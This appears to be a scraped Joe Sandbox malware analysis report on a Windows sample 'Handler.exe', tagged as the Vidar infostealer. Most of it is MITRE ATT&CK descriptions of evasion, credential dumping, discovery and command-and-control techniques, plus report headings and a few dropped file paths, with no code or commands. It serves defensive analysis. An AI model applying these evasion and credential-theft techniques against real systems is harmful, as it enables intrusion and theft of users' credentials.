Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Handler.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\8q9zu\2dtjeu

C:\ProgramData\8q9zu\3oh479

C:\ProgramData\8q9zu\6xb1d2

C:\ProgramData\8q9zu\hlnohdjeu

C:\ProgramData\8q9zu\l6xlf3

Windows Analysis Report
Handler.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre